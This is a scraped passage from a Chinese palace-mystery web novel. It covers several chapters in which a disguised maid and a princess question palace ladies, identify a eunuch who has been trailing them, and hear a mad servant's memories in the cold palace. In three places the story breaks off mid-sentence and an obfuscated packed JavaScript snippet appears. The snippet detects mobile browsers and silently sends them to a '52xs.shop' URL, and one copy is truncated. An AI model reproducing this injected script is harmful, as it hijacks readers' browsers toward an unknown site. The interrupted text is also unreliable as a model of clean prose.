贤太嫔笑着摆手:“哪有,本宫那是雕虫小技,博先帝一笑,先帝兴致所至罢了。论福气和宠爱,哪里比得上太后呀。” “太嫔谦虚啦。这满宫里谁不知道,先帝一贯喜欢听琴乐,您那一手好琴,更是出神入化呢。” “不值一提,不值一提,不过是先帝抬爱。” 郡主当然是继续夸,更要请她一奏。贤太嫔刚开始还连连推辞,架不住郡主口吐莲花,到底还是亲自上手奏了一曲。 曲调悠扬,琴音好似一泓清泉,直抵人心。 方才路上郡主简单解释过,贤太嫔未出阁前一曲动京城,所做琴谱人人重金求之,还曾将琴老夫子比下去过。果然所言非虚。 只是,这样好的手艺,最后也藏在深宫中蒙尘了。 郡主连连拍手,又是一通猛夸,直把贤太嫔听得飘飘然,竟忍不住又奏了一曲。 但我们可不是来赏乐的呀,所以这次郡主夸完就没留空当,直接话锋一转说起正事来:“……先帝定然喜欢吧。说起来,先帝每每赏乐时,是喜欢独奏,还是有歌有舞,琴瑟共奏呢?阳远可听说,先帝妃嫔中能歌善舞者不少呢。” 贤太嫔摇头:“何来共奏?先帝一向忙于政事,后宫走动的少。何况哪次赏乐,那废后胡氏不来搅扰?” 说到此处,贤太嫔语气都低沉了两分,身侧的嬷嬷当即上前安抚:“太嫔莫要伤心,当心身子。” 郡主见状也赶忙劝阻:“是啊,太嫔别见怪,阳远不过闲话几句。” 但贤太嫔明显被触动了心弦,她半晌没有说话,眼神却从古琴上幽幽飘向了窗外,手不自觉捂上了脖子,那里有着一道不太明显的伤痕。 我心一惊,暗暗揣测,难道这伤痕就是废后给她留下的?以至于二十多年过去,提起废后,依然会心绪荡漾。 一旁的嬷嬷一瞧,忙替贤太嫔说话:“郡主莫怪,太嫔这是有些伤感,毕竟当年那废后手段实在下作,太嫔没少受磋磨。” 郡主了然颔首:“是阳远不懂事,不该提及太嫔伤心事了。说起来,那废后胡氏也实在猖狂,好在先帝英明,没让她得逞。” “哎,”贤太嫔抽回了思绪,看向身侧的嬷嬷,“去取些安神汤来吧。一想到那些如履薄冰的侍疾日子,本宫就睡不好。” 郡主挑眉:“侍疾?为先帝侍疾?” 贤太嫔苦笑:“为先帝侍疾,哪有难挨的。先帝一向体恤。是那废后,每每得了些无关紧要的小病,也得妃嫔侍疾。” 郡主挑眉:“为她侍疾,也得守一夜吗?” “呵,何止一夜。有的时候选定了哪位,其他人松口气,偏后半夜又更换人选,说来敲门就敲门。一盏茶时间赶不到,便是对上不尊。回回搅得合宫上下都不敢安睡,生怕耽搁。” “嘶,真是变着花样折腾人啊。” “那时候听闻她头风伤寒、小病小痛,真比自己患病还要令人心惊胆战。满宫里谁人不怕,谁人不惧?” 郡主唏嘘又问:“那、那先帝也不制止?” 贤太嫔垂下眼眸,已被往日不堪回忆扰乱心绪,只说:“先帝宠渥,又有什么在意的。罢了罢了,旧事莫再重提了。” 这才刚挑起话题,还没聊到核心人物呢呀! 郡主很不甘心,忙又试探着丢出几个问题,贤太嫔却已伤神忧思,回答的风马牛不相及。不多时,当嬷嬷取来了安神汤,贤太嫔就喝了去小憩了。 我和郡主只能告退,两厢对视,皆是垂头丧气。 “义妹,现在怎么办啊?贤太嫔这儿问过一次,就不好再问第二次了,否则她也该察觉了。” 是啊,我也头疼呢。 “只能且先等等了。太妃这条路不能放弃,还是得找机会再探。”我抬头看了看日头,“快到午时了?姐姐,不如这会儿去趟未央宫吧。你不是说,贵妃与你关系融洽吗?” “是融洽没错,但朱雀宫影子都没了,去了做什么呢?” “去走走。” “走走?” “嗯。”我点头道,“你可还记得,静太妃临终的供词说,她是从珍妃宫中出来回自己寝宫,路过朱雀宫,一时心绪波澜,这才进去。可在内廷司中,我看到一张先帝时期各妃嫔寝宫的舆图,好像方位不太对。” “哦?难道静太妃说谎了?” 我不置可否,耸耸肩道:“高岭之变废后烧的宫殿不止朱雀宫一座吧?或许前后的寝宫布置有些变化,仅凭一个未署年份的舆图,不能确定。我说走走,就是想丈量清楚距离与方位,之后还得再去找详细舆图。” 郡主听明白了,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488293|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路朝一侧拐:“那行,那就去呗,找贵妃蹭饭吃,还不是小事嘛。走,这边,穿过这个花园就到了西六宫。” 说着,我二人便携手往花园中去。正值春分来临,内廷司安排太监们为花园换新,重新植木种草,此刻,不少花木种到半截,瞧工程量,或在月前就开展了。 方才郡主说,这条路是从东西六宫通往慈宁宫寿康宫一带的必经之路。或是怕白日打扰主子们经过,换新工作都停了下来。草屑灰尘也着意往道路两旁堆,不敢污了主子们走的中间。 今时今刻,我扮演着尽职的丫鬟,自然是靠着边边行走,这一圈下来,鞋面都扑脏了。回去还得刷鞋,能不能早点睡?一天天的,我都要累出黑眼圈了。 我这厢有一搭没一搭,思绪天马行空跑偏着,没注意郡主越往花园出口走,脸色越是难看。直到她冷哼一声,我才魂归身里,下意识问:“嗯,怎么了,姐姐?” “前面就是储秀宫。” “储秀宫?储秀宫怎么了?” “里面住了个我讨厌的人。”郡主翻个白眼,不屑地说。 讨厌的人?宫里还有这号人物?郡主不是和宫中女眷关系都处的很好吗? 诶,等等,慈宁宫的小丫鬟好像也八卦过,说有个人,“郡主不会给她好脸”。 难道说的是同一个人? “茹贵人。”郡主吐出三个字,令我足足愣了半分钟,才想起来她是谁。 “咦,姐姐,你说的不会是绣花大赛那个茹妃,李怀远的妹妹吧?我记得她的封号就是‘茹’来着。” 见郡主点头,我又问:“她不是挺得圣宠的吗,怎么成茹贵人了?” 郡主冷哼一声:“还不是不分黑白是非,替李怀远那混蛋多次求情,惹怒了圣上吗?李怀远嫁祸我不说,还想杀我!圣上已经够宽容了,看在李家祖上堪舆有功的份上,没牵连李家一门。偏她得寸进尺,竟还敢为李怀远求情,自然就降级了。” “哦!就这样降成贵人的啊。” “什么呀,降成采女了!”郡主眼睛一瞪,“她这才知道收敛!看太后也生气不理她,又着意抄佛经、绣佛像、日日去佛前陪着,这才慢慢回转了太后的心思,得以于去年圣上寿宴大赏群芳,升回贵人之位。只是妃位,哼,想都不要想,绝无回升之日。” 额,凶手固然可恨,可凶案与茹妃又没关系。那到底是自己的哥哥,一时惑于情谊,替哥哥求情,这也是人之常情,并不算过分吧? 然而我觑了眼郡主的神色,还是默默吞下了劝词。 郡主眼中俱是寒色,五指都握了起来。 李怀远杀了与她心意相通的邱子昂。人去楼空,自此心亦沉寂,再无花开之日,能不恨吗? 念及此处,我倏地想起了那日来慈宁宫的宫装女子身形,果然在记忆中有些熟捻。 原来来的就是茹贵人呀。 难怪那日她将盒子呈给丫鬟后,便离开了慈宁宫,没进殿与郡主一道叙话。难怪小丫鬟晚上要背后蛐蛐她。难怪之后见到皇后平凡的姿色,我会下意识想起美人。 既知趣的走了,茹贵人想必也很清楚郡主对她的反感,那我们在宫中这些时日,应该是见不到她了。无妨,她与二十八年前的旧案也没什么关系,见不见不碍大局。 我这么想着,便也没将此事放在心上,而是专注于陪郡主进入未央宫,与贵妃闲话家常。午饭后,我又拉着郡主在东西六宫好好绕了一圈,总算搞清了后宫格局与位置。 而谢宁轩的回信,就在我们正在东六宫溜达的时候,递到了我的手上。 153.来信 彼时已是黄昏,夕阳余晖透过高高的城墙,打在幽深的甬道中。岚枫从远处跑来,气喘吁吁。 “郡主,二……”接收到我的眼神,岚枫慌忙守住话头,“嗯,您们在这儿啊。” 郡主四下望望,拉过贴身丫鬟细问:“怎么追到这里来了,在慈宁宫等着不就是了?” “太后娘娘在礼佛,梅江姑姑偏巧看见奴婢进去,拉着奴婢问您喜好来着。”岚枫咬唇,“奴婢怕说错了话,这才找借口,称装裱出了点岔子,急得给您汇报。” 能让梅江姑姑过问的喜好,自然不是吃住方面。打听的应该是郡主近来可有和哪位公孙走得近,好纳入郡马考量范围。 郡主张了张口,终是气馁的跺了跺脚。 我则压低声音问:“岚枫,有信捎来吗?” 见岚枫点头,郡主忙拉着我们七拐八拐,来到东六宫一处不起眼的角落,这里有着一处供宫妃更衣的屋子。她谨慎的关上门,这才示意岚枫从手中盒子掏出。 信还是夹在一本话本中,打眼一看,依旧是谢宁轩说着无关紧要的内容—— “阳远展信佳: 吾经多次拜访,更有查其过往书籍,可证实蓬莱居士未曾写过《瓶曲》一书。乎孔孟之道,各府各门必修,想来确为其所尊,虽和他如今境况相左,然他陈请所言,亦有君子之风。吾已往他住处递信,邀来府中详谈。算了却你之心愿,你不在,可有多碍? 书引孟子高见,称值此佳节,效仿班师回朝之隆重仪式,故后撰写内容若此,不算出格。于宫禁确有不合之处,亦有多辞藻未避讳,待证实是否刻意。有贵人阅读后不悦?可为他言说一二,毁书何也?吾查后,如确他故意为之,撰宫廷秘闻,且个中缘由不通,定有罪名。褒衣危冠,终险不退,君子乎。 宁轩。” 郡主一看就嘟囔:“这又写的什么玩意?蓬莱居士?还真查他去了?义妹,你的去信就够奇怪的,宁轩哥怎么还真查这去了?额,写的什么呀,什么贵人,什么危冠,你看懂了吗义妹?” 看懂了,并且心沉了下来。 我的脸色也一并难看起来。 为了不让谢宁轩慌张,不由分说安排我出宫,我在去信中没有说跟踪的事。但谢宁轩查证之后,却发现孟秋帆值班后按时出宫,且有多名人证。 这说明什么? 那两晚跟踪我的人,不是孟秋帆? 而孟府确实与陈尧昇有往来,却不多。这又是怎么回事? 郡主听了我的解释,诧异的盯着信:“啊?真的吗?他哪里说这了!” 顾不得解释,我先追问:“姐姐,你可知宫中除了羽林军,还有什么人会拳脚功夫?” 郡主懵了,看向岚枫,主仆两个大眼瞪小眼,都摇了摇头。 谢宁轩既查了孟秋帆,定然也追查了羽林军其他人。他没有提及,就说明羽林军兵士在那两晚,行踪都有定数,没有可疑之人。 那么,跟踪我们的会是谁?我明明看得清楚,那人身法轻盈,定是有些功夫底子。 “义妹,你是说,跟踪者不是孟秋帆。天哪,那这宫中,还有人意图对你不利?”郡主惊了。 我盯着郡主,心中在想,难道,是我自作多情了?跟踪者的目标,会不会是郡主?有人妄图对她谋划什么? 可这讲不通啊。郡主入宫小住,也不是罕见事。过去,怎么都没有被人跟踪过? 郡主嘴唇颤颤:“难道有人跟踪我,我、我一直没发现?” “那也不对。据你上次入宫至少一个月了吧?这段时间你周遭有发生什么奇怪的事吗?” “没有啊,太太平平的。” “那就是了,若有人对你谋划什么,总不可能只在你入宫的时候跟踪你,在外完全不理吧?跟着你的护卫本领不小,若有猫腻,他早发现了。而且跟踪,总得图点啥吧?你身边也没发生不寻常事。” “那,还是冲着你去的?或者,或者……” 或者冲着我们查案?是太后发现了端倪,暗中派人监视我们的查案动态?还是另有他人,对此案也有所知悉? 又或者,是我得罪了什么人,并不自知? “可、可宫里,不该还有会武功的男人了呀。”郡主咬唇思索,“熟悉后宫的路,又能在后宫中行走,被人碰见也不会觉得奇怪,那必得是后宫的人。会是谁呢?” 岚枫吓得额头都冒汗了,她将手上摆放话本的盒子放在八仙桌上,用袖子轻拭着额头。轻微的声响在我和郡主齐齐的沉默中,显得格外突兀。 我不由自主注视着她的动作,心思乱作一团。 直到我的目光,没来由的落在桌上,那个她捧来的棕色盒子上。 眼神像被黏住,我倏地僵住了。 岚枫瞧见这一幕,支支吾吾的问:“二小姐,您、您怎么了?这、这盒子有什么不对吗?” 是啊,不过是个普通盒子,有什么稀奇的?这年头下人给主子呈递文件、书本、卷册,都以这种盒子装呈,无非是怕碰脏了,惹主子不快。 我干嘛盯着它看? 我自己也深感莫名其妙,但就是挪不开眼神。脑海中,更有一个模模糊糊的画面一直在闪烁。 是什么,我想起什么来了? 我闭上眼睛,在脑海中苦苦搜寻。我看到了什么,无意中的影像,存储在大脑中,被现在这一幕唤醒了?是什么似曾相识? 漫无目的意识流转,脑海中又出现了城楼上的孟秋帆,持长枪着铠甲,貌比潘安,赫赫威风。他脚下蹬着一双官靴,底部侧面的白边,和黑布颜色分明,在日头下是那么的清晰。 宫中洒扫下人不知有多少,甬道也好,假山小道也罢,处处洁净如新,走一遭鞋底不沾一点灰,又有何奇。 眼神下意识往下,落在了我灰扑扑的鞋面上。对面的岚枫,鞋面也脏得很。三个人中,唯有郡主鞋面如新。是哦,她都是走路中间,鞋自然干净。 等下,鞋面,干净? 咦,对哦,我见过的她,鞋面也是干净的。不止是她,身后那个小太监,弓腰迈步向前递盒子时,我不也看清了他的身形装扮吗? 犹如小蝌蚪找到妈妈,脑海中几个毫无关系的画面突然就生出了联系。心中涌上一层或激动或骇然的热流,我一拍桌子,猛地站起身来。 郡主和岚枫唬了一跳,齐声问:“怎么了?” “我知道是谁在跟踪咱们了!” “谁?” “茹贵人!” “茹、茹贵人?”郡主方了,“她?她不是个女的吗?” 我机警的瞧着窗外,森森道:“是她身边那个太监。咱们入宫那日,你在正殿陪太后说话,不是打发我出来了吗?正碰到茹贵人来请安,得知你在,她身后的太监递给慈宁宫丫鬟一个盒子——大抵是手抄佛经——后,他们就走了。我当时离得不近,加之与茹贵人很久没见,并没有认出她来。” 但我这人有个坏毛病,见人时,总要不动声色的偷偷打量一番,下意识记住人家的穿着打扮、姿势仪态。这在查案中,时有成为线索的发现口,但更多时候,都是废纸一张,空占着大脑空间,没什么用的记忆片段。 因此当日瞧着宫装女子和她身后的太监,我也没当回事。 直到现在,桌上这只差不多的盒子唤醒了我未曾留意的记忆,更在它与对比鲜明的鞋面的映衬下,串起来了。 “当日我瞧着茹贵人,也注意到了她身后的太监,收拾的蛮立整的。想着是宫妃身边侍奉的太监,也该如此,便没有多想。但姐姐你瞧,我和岚枫的鞋面。” 郡主低头一看,“咦”了一声:“怎么脏成这样?” 主子们因着平日被簇拥,已经习惯走在路的中央。而下人们,无论是陪着主子,还是自己个儿行走,都得贴着墙壁、花丛。 这在平日,其实没什么区别,毕竟宫城洒扫下人众人,处处都窗明几净、几无灰尘。 但别忘了,那东西六宫通往慈宁宫的花园,却因为即将到来的春分祭典,而专门更新草木,以致花园道路两侧,堆着不少草屑灰尘。 走在中间的茹贵人、郡主,自然不影响。可我和岚枫鞋面脏成这样,为什么跟在茹贵人身边,从储秀宫前往慈宁宫请安的太监,鞋面却光净如新? 是的,我注意到了,就在他迈步向前露出鞋面的那一刻,我留意到了。 而方才,意识流的大脑,也助我联想到了另一个人——孟秋帆。我为什么会想起他?自然是因那晚跟踪者轻盈如燕的身形与脚步,令我当即就判断,此人有些功夫。 现在谢宁轩查实,此人并非孟秋帆,且不是任何有身手的羽林军。那么宫中,什么人还有功夫? 别人我不敢说,茹贵人身侧这个太监,定然有些身法。 凡会武功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我点点头,跟着郡主机械的往回走,心思还在茹贵人身上,并没有注意脚下道路七转八绕,与来时走过的路岔了口子。 直到眼前出现了昏暗的宫墙,郡主眯着眼张望:“哎呀,咱们这是绕到哪儿来了?我怎么瞧着有些陌生?” 一条甬道,我们走到了尽头,前方是个院落,大门紧闭。 我从沉思中拔出,勉强巡视了一圈,抬头看向院落的牌匾,字迹模糊,灰尘厚重,眯眼努力分辨才认出来——钟粹宫。 “哦,好像是钟粹……”我正张口,忽然一阵邪风来,吹灭了我手上唯一一盏灯笼。 这条甬道不知为何,四周都没有悬挂灯笼。这一下突然的黑暗,惊得我和郡主都叫了出来。 郡主更是连声叫着:“钟粹宫!天哪,怎么走到这里来了!快走,快走,义妹!这儿不详!” “什么不详?”我没听明白,就已被郡主拉住手臂,拽向反方向。 “钟粹宫,冷宫啊!” “冷宫?冷宫不是……”脚下一顿,我登时想起了起居注中读到过的文字。 淑妃脾气不好,满宫也就与一位宜嫔关系融洽。她的起居注中,宜嫔出现次数很多,不是帮忙带娃,就是一起吃吃喝喝、看戏听曲。俩人也没少一起挨过废后胡氏的罚。 淑妃身死后,宜嫔也因顶撞圣上被囚禁,终生不得出。 而她的宫殿,如果我没记错,那就是钟粹宫啊。 怪不得名字有些熟悉,果然是冷宫。凡是关禁闭嫔妃的地方,就是俗称的“冷宫”。 嘿,那这不是峰回路转了吗?这可是个绝佳的机会呀! “什么,你疯了吧?我不去!” “姐姐,她可是先帝的妃嫔,还是淑妃的好友,活过了高岭之变的呀。她并不是纸上冷冰冰的几行字,而是活生生的人!她对淑妃、琳妃有着最鲜活的记忆,咱们去问问,一定能知道线索。” “宫里太妃又没死绝,接着去问她们呀!”郡主连连后退。 “这不是没机会问了吗?这位先帝妃嫔,咱们平日里过来寻,一定会惹人注目。今天误打误撞,反而无人注意,大好的机会呀!” “那我也不去,太吓人了!”郡主摇头如拨浪鼓。 见劝不动郡主,我只好退一步:“那、那好吧,我去。你帮我守着门口行不?” 郡主呆住:“你、你要去啊?不行,你也不能去!” “可这真的是个……”我话没说完,远处有脚踏声传来,似乎是巡逻的羽林军。 郡主被吓了一跳,往后一靠撞到了门上。宫门上的小门门闩被撞掉,砸在地上,在寂静的夜中很是响亮。 “没事姐姐,别怕。实话实说迷路了,想来也传不到太后耳……”我安抚着,话还没说完,领口就被郡主扯住,舌头都要被勒出来了。 下一秒,郡主将我扯进了冷宫小门。 154.冷宫一游 冷宫不愧是冷宫,够冷。 明明初春,一进来,体感却骤降好几度。但面前这个院子,借助昏暗月光还是能看出来,收拾的竟挺利落。 我身旁的郡主身子僵硬,紧紧攀着我,快要把我胳膊勒断了。 “姐姐,姐姐,”我忙求饶,“松开些,松开些。” 郡主手松了不过一秒,却又猛地收紧,紧张的问:“义妹,义妹,那是什么,那是什么?” 我顺着她的目光看过去,只见黑暗中彷佛有个物体在移动。 心跳加速,冷汗都冒出来了。 “物质决定意识,物质决定意识……唯物主义……”我狂吞口水,劝慰自己。 郡主颤抖着:“义、义妹,你念叨什、什么啊!天哪,那是什么东西啊?鬼,有鬼啊!” 眼看郡主就要大声惊叫了,我只得搂住她,强自镇定:“不可能!这个世界没有鬼,没有鬼!不要怕,不要怕!” “啊,啊啊啊!”但郡主还是不受控制的尖叫起来。 耳膜受到重击,理智也剩不多了,我只得喝了一句:“前面是什么东西,滚出来!” 前方运动的物体毫无变化。 郡主呼吸都急促了,我的后背也再一次被冷汗浸湿。不行,不行,我得保护郡主,她是陪我进来的啊!可无数鬼怪形象还是涌上了我的大脑,理智就在断线边缘…… 就在这要紧关头,眼睛忽然见了光。 “啊啊啊啊!”郡主再一次尖叫。 突如其来的光亮太骇人了,不怪郡主失态。但我却立即意识到,这是有人在对面的屋子里点了蜡烛。 我条件反射去看院子里那运动的物体,身子一僵。 一个人形的……额,衣服? 好家伙,原来是院子里挂着一件袍子,在晚风中来回晃荡。 但没等我舒口气,对面屋子的窗上,又有人影闪动。 我马上搂住郡主:“别怕,姐姐别怕,是人,是人!” 郡主在我怀里抖若筛糠。尤其古旧的木门随后被推开,刺耳的“吱呀”声划破寂静长夜。 “义妹,义妹!”郡主将脑袋深深埋在我肩上,根本不敢扭头看。当对面响起一个涩哑的女声,更是险些跳到我身上。 然而此刻,我的理智都回归了——这是人,活着的人。 宜嫔还活着。 “什么人入我钟粹宫?” 咦,宜嫔在问我们?许是多年未开口了,她的声音可真难听。但,真真切切的,这是个活人。 理智压倒了惊恐。 我一面拍着郡主的背,一面斟酌着回答:“宜嫔娘娘安好,叨扰了。我们是想问……” “娘娘歇下了,你们告退吧。”对面的人站在门口一侧,屋内的烛光勾勒出她的身影,看不清面容。 啊? 我懵了,我怀里的郡主也懵了。她稍稍松开手,颤颤巍巍的扭头看了一眼,语气悚然:“她、她说什么?谁、谁歇下了?” “娘娘,”我也一头雾水,“娘娘,我二人并非有意冲撞,只是想来问一下……” “我说了,娘娘睡下了。你们告退吧。”说罢,那人就扭身往回走。在烛光映射下,我猛地看清,她梳着简单的光髻。 丫鬟,这装扮是个丫鬟! 哦,是了,当日钟粹宫是封宫。也即,宜嫔的贴身丫鬟也随着主子被囚禁了自由。可她刚说什么,宜嫔睡下了?她、她怎么这么冷静? 我后知后觉意识到了不妥。我们可是深夜闯入冷宫的不速之客啊!她的语气和口吻,却透着一股不耐烦,像是打发日日来求见的讨厌鬼似的。 我心一沉,意识到她恐怕已经失心疯了。 晚风袭来,汗透的脊背,在这一刻冷的彻骨。 来不及感慨她的命运悲惨,眼见她就要走回去了,我只能孤注一掷。 “这位姐姐,娘娘睡下了不扰便是,姐姐可否容奴婢一问。” 郡主呆呆地盯着我。 但对面的人脚步停住了,她再次转过身来,厌烦的问:“什么事,赶紧说。娘娘午睡醒来要吃茶的,我得赶紧去准备了。” 郡主猛地掐我的肩膀:“午睡?她疯了,她疯了!” 疯了?关在一座宫殿中二十年,换了谁都得疯啊。进来前我就有所预料了,可是,眼前的人可比我想象中镇静从容多了,这院子收拾的也颇齐整……她是疯了,但她并没有丧失全部自理能力。 那么,她的话,还能信吗? 大脑飞快转着,我试探着问:“姐姐,淑妃娘娘让奴婢传话,午后请宜嫔娘娘去吃酒。问娘娘是否要邀请琳妃?” 对面的人没有回答。 我紧张得要命。我可搞不清她疯到什么程度,万一说错话被她发现,会不会突然有什么极端行为?屋里还有个宜嫔,两个人都冲来袭击我们,我可真扛不住。 可大晚上她都能看成午睡,应该没有多少理智了吧?那她为什么还不回答? 直挺挺的身姿在昏暗的烛光勾勒下,有些阴森的可怖。郡主抖得越发严重,连带着我也心里打鼓,萌生了跑路的念头。 但她终是开口了,依旧是暗哑的声音。 “你说什么胡话?淑妃娘娘怎么会邀请琳妃?不就是昨日抢白了她几句吗,哪里值得请酒赔罪了。琳妃新得了圣上赐的贡品,淑妃娘娘不是不痛快吗?” 她回答了!字字句句竟然都回答的没毛病。 直到此刻,我才真正明白。她是疯了,但不是完全混乱、丧失记忆的疯癫,而是她的记忆出了错。这座走不出的宫殿困住了她的自由,亦封住了她的精神世界。 她依旧活在二十年前。 那么,她的话,应该是可信的。 她刚说什么,抢白?不痛快?嗯,看来淑妃的确讨厌琳妃,确实有杀人动机。 大脑飞速运转着,我再次抛出问题:“是,姐姐教训的是,许是奴婢听错了。姐姐,淑妃娘娘还想问昨天见琳妃的时候,她说她喜欢喝的那道汤叫什么来着?淑妃娘娘也想制来喝喝。” 这次,对面的人没有犹豫,直接回答:“你是新来的吧?问的这都什么问题?满宫里谁不知道琳妃体弱多病的,动不动就喝红枣桂圆羹、人参鸡汤一类的,隔三岔五的进补。你们娘娘身子骨康健,喝那些做什么?得了,待会我们娘娘呈上一道八宝露吧,本来打算明天你们娘娘三十岁生辰时才做呢,今天就先端去吧。” 短短一段话,对面的人说的云淡风轻,极为自然。 眼前忽然出现了一幕幕场景,是二十年前的宜嫔主仆,风华正茂的脸孔与气息。八宝露、请酒、看戏听曲、姐妹小聚。这应该就是当年宜嫔与淑妃的生活日常吧。 起居注寥寥几笔,就是鲜活的人葬在这深宫的一生啊。 这丫鬟疯了,却还能机械的、有条不紊的拾掇院子,洗衣晾晒。可想而知,过去的二十年,她们过的是什么日子? 那宜嫔呢,宜嫔还好吗?是否也在不见天日的禁闭中,生生将自己困在了前半生里。 而从她的话中,我想,我猜对了。之前隐隐生出的怀疑,竟然没有料错。 “你问的这都什么啊?”我怀里的郡主也按耐不住了,附耳悄声,“这和案子有关吗?” 没时间理会郡主,我抓住时机接着套话:“奴婢多谢宜嫔娘娘,多谢姐姐。哦,淑妃娘娘还想问问,琳妃爱不爱……” “你这丫鬟怎么回事?”对面的人也不耐烦了,“口口声声淑妃淑妃,问的全是琳妃的事?她爱不爱的,我怎么知道?好了,快走吧,别扰了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501949|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们娘娘清净了。” 说罢,她径直走回,并关上了门。下一秒,人影闪动在窗户上,黑暗笼罩——她吹灭了蜡烛。 问题还没问完呢,怎么走的这么干脆? 我不死心,还想跟上前,被郡主死死抓住。她的声音都在颤抖:“别过去,别过去!义妹,对面什么情况看不到,太危险了!走吧,走吧,我求求你了,太吓人了!” 月光照射下,郡主的小脸惨白,毫无血色。她的指甲都快按进我的肉里了。 撑着心口的那股气忽然就松了。 罢了罢了,今日就到此为止吧。别难为郡主,也别难为自己了。胆子就这么大,已经被消耗完了。 不过至少,我已经有了推论。 此刻的我没想到,原来我今天见到的,是被囚禁二十年的灵魂发出的最后一口气息。 “什么,宜嫔两年前就死了?”第二天郡主告诉我的时候,我惊得差点跌下椅子。 郡主上下牙也打着架:“是啊!多吓人啊!那丫鬟真的是疯了!她的主子都死了,她每天还把主子那衣服拿出来浣洗晾挂!” “天哪,她的主子都死了,她为什么还被关着?” “封宫!”郡主眼睛里都是骇色,“封宫的意思就是那钟粹宫的任何人,都不可能活着走出来!” 毛骨悚然。 “那她、她死了?” 郡主一屁股坐下,把杯子里的水洒出来了。“听说侍卫照例去送饭,发现一直没有人动。进去一看,就已经没气了。义妹,咱们见到的,不会是、不会是……幽魂吧?” 一瞬间,我也开始怀疑起信仰了。 但理智还是上线,我摇摇头,忍不住语气中的悲哀。“不,不是幽魂。她只是太久没有与人对话了。我们的出现,让她再现了为主子操持的往日一幕。也许,她就此咽下心中幽怨,随主子去了。” 或许她年少时也曾活泼灵动,或许她青春时也曾幻想过爱情与自由。但最终,她还是化作了深宫里的一缕魂。 我和郡主对坐无语,久久沉默。 直到郡主叹了口气:“义妹啊,这冷宫也白进了,接下来我们可怎么办啊。” 纵使心中郁结,但答案还是明确的。我摇摇头:“不,不白进。” “啊?”郡主诧异。 “那晚虽然没说几句话,但却很关键。因为我有个猜测,琳妃,恐怕并不是淑妃杀的。” 郡主直接懵了:“什么?为什么?” “我认为,琳妃当晚根本没有喝汤。” 其实,我在看起居注的时候,就有些怀疑了。琳妃身体比较弱,时常问诊,那么,她的饮食一定被嘱咐过。宜嫔的丫鬟也说了,她素日喝的都是红枣桂圆羹、人参鸡汤一类的进补食物。 既如此,动乱前几日,她照顾孩子本就疲倦体弱,又怎么可能喝绿豆汤? 郡主侧侧头:“宫中夏日为了避暑,各宫常备有绿豆汤,这也不稀奇啊。” “可当时已经七月初七,过了立秋时节。即便还有些暑热,绿豆汤也应中午供应。体弱的琳妃,又怎么会晚膳服用?那可是寒凉之物,与她的体质并不相符。” “唔,”郡主咬唇,“可当日先帝在啊,会不会是为先帝准备的?” 我点点头,同意了郡主的猜测。 “先帝一道用膳,这的确可能是为先帝准备的。毕竟当时宫里还太平着呢,起居注嬷嬷的记载应该没错。可是先帝没吃饭就走了啊,那么琳妃,就没必要陪着喝了呀。” “也对。”郡主皱眉,“那就是说,琳妃当晚根本没有喝汤,也就不会因淑妃的毒而死了。” 话虽如此,但这个判断还是武断了些,证据效力薄弱。接下来,又该去哪里寻找线索,进一步的寻找真相呢? 155.密码 “郡主,午膳准备好了,太后请您去用。”有丫鬟来叩门。 郡主回道:“知道了。徐院首走了吗?” “还在殿中。” 徐院首是太医院副院首,常年为太后诊平安脉。我随着郡主进殿的时候,正听见他恭敬地说:“……基本写完了,再行校订,就呈给太后过目。” 太后转着手中佛珠,慈声道:“你也辛苦了。” “太后哪里话,微臣能写就这本《瘾疹集》,全因太后指点。若非太后询问,微臣都没发现太医院中竟缺失了这类医书,实乃大大失职。” “徐院首也莫要谦虚,你花费一年时光走访各地,写成这本书,日后也能流芳百世。” 徐院首忙拱手叩拜:“医者本分,微臣断不敢居功。来日此书若能为普罗大众一解伤痛病忧,那也是太后功德。” 这话说的有水平,太后露出些笑颜:“行了,你回京来,哀家也就放心了。去吧,歇着去吧。” 太后发话,徐院首不敢耽搁,唯告退时看见郡主,又恭维几声后,这才出殿,还差点撞上门口与丫鬟说话的起居注嬷嬷。 郡主已经走到了太后身侧,笑道:“原来徐院首这段时间老不在京城,是得了太后首肯,四处游历撰写医书去了呀。太后真是慧眼,阳远听着,还是太后发现太医院竟少了个医书?叫什么,瘾什么来着?” 太后拍了拍郡主的手,似对医书的话题不太热切,笑笑未语。 这时,梅江姑姑验完毒,奉上了筷勺。郡主接过来,就对着清江鱼大快朵颐,看的我直吞口水。一面想着,原来主子们用餐的时候,起居注嬷嬷并不会在一旁候着,实时记录主子的每一口进食。 事实上,除了宴会等大型场合,起居注嬷嬷基本都是在殿外候着。至于主子进食多少,则由收拾残羹冷炙的丫鬟略略算算,告知则已。 这个漏洞可真不小。 饭后我问郡主,她却说,吃个饭有人在旁边守着多烦啊,一般家常进食,谁允许她们站在一旁碍眼了? 哦,那我就明白了,起居注嬷嬷所谓的偷懒,其实是代代君主授意的。 难怪琳妃死亡当夜,她的菜色记录的明明白白,可她到底喝汤了没、喝酒了没,却没有任何记载了。 